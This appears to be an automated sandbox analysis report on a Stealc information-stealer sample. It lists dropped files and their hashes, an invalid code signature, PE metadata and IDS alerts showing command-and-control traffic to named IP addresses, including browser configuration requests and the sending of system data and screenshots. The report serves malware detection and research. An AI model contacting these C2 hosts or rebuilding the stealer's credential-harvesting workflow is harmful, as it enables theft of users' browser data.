C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Download File

Process:	C:\ProgramData\JKJDAEBFCB.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.974870305769198
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	210'472 bytes
MD5:	3b4a86e195cf96b1d60b303eba6def01
SHA1:	035e7ead7f18b41e0718c8e61f795b9230b2fd3c
SHA256:	abfde88021abe4b85e7e1fec20b8a28e81fdac7512591c2dbdb590b54297f350
SHA512:	b4200bb2d73636eebc4f0fc1515d2dc0b31117f47d3cc9e2a2ded134a8701eda1e0d54d8f6ffe3905fc29a370a895b44e31d2257994ce715000e30d143168957
SSDEEP:	6144:SlqRsQs1BtPB8EwwtpQScF+rvWlcQVnLUd+EO:OqRstPPBShFWv+LUgEO
TLSH:	892412440A903F0CFFE9DD3491FAE352BE59DA9234C644AF3058C5A2EC75A4932D71EA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W..f............................^%... ...@....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x43255e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E1DA57 [Wed Sep 11 17:58:47 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 00:00:00 16/01/2026 23:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x32510	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x31000	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x36000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x323d8	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x30564	0x30600	54d21939bb864d3faa592bd4019409c7	False	0.991718144379845	data	7.991609897731611	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x34000	0x600	0x600	c368be690dfac09027b2fac67dad6285	False	0.4518229166666667	data	4.188787616791972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x36000	0xc	0x200	cc12ef0f3c0fbac92b8e76a40918fa2f	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x340a0	0x36c	data			0.454337899543379
RT_MANIFEST	0x34410	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-11T22:52:01.856225+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:01.999501+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:02.012613+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	45.152.113.10	80	192.168.2.4	49733	TCP
2024-09-11T22:52:02.142321+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:02.154089+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	45.152.113.10	80	192.168.2.4	49733	TCP
2024-09-11T22:52:02.526421+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:02.900393+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:05.304572+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:06.025144+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:06.723846+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:07.164817+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:08.739503+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:09.442036+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:10.634097+0200	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:12.604112+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49734	198.54.120.231	443	TCP
2024-09-11T22:52:12.604112+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49734	198.54.120.231	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 11, 2024 22:52:01.147082090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:01.152139902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:01.152354956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:01.152473927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:01.157429934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:01.689771891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:01.689866066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:01.693089962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:01.698133945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:01.856161118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:01.856225014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:01.857570887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:01.862612009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:01.999231100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:01.999269962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:01.999500990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.007606983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.012613058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.142142057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.142189026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.142225027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.142258883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.142321110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.142426014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.142426968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.147118092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.147154093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.147214890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.147252083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.148659945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.154088974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.283520937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.283596039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.350218058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.350218058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.355866909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.355899096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.355942011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.356506109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.356554985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.526312113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.526421070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.527147055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.532083988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900156021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900204897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900235891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900253057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900269985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900285959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900302887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900393009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900393009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900409937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900425911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900441885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900475025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900509119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900517941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900542021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900553942 CEST	49733	80	192.168.2.4	45.152.113.10
